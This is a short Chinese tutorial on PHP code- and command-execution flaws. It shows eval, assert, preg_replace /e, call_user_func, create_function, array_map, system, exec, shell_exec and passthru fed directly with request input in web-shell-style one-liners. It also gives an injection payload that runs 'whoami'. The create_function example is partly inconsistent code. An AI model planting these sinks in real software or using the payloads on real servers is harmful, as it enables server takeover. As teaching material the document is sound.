代码执行
代码执行是指攻击者通过浏览器或者其他客户端软件提交一些用户自己构造的PHP代码至服务器程序,服务器程序通过eval、assert及reg_replace等函数执行用户提交的PHP代码。
eval assert
/* * evil1=phpinfo(); */ @eval($_POST['evil1']); @assert($_POST['evil2']);
preg_replace
Preg_replace函数存在模式修饰符,其中,修饰符e会让preg_replace函数替换后的字符串作为PHP代码去执行。
// h=phpinfo();
preg_replace("/test/e",$_POST["h"],"jutst test");
call_user_func
@call_user_func($_GET['fun'],$_POST['arg']);
create_function
// ?uid=1;}system(whoami);/*
$uid=$_GET['uid']; $code='echo'.$func.'test'.$uid.'.'; echo $str2; create_function('$func',$code);
array_map
$func=$_GET['func']; $argv=$_GET['argv']; $arr[0]=$argv; array_map($func,$arr);
命令执行
命令执行就是调用一些可以执行系统命令的函数来实现在系统层面添加账户、修改账户密码及安装rootkit等操作。常见敏感函数有system、exec、shell_ exec及passthru等函数。
<?php /* * eg: c=tasklist */ $cmd=$_POST['c']; @system($cmd); echo @exec($_POST['c2']); echo @shell_exec($_POST['c3']); @passthru($_POST['c4']);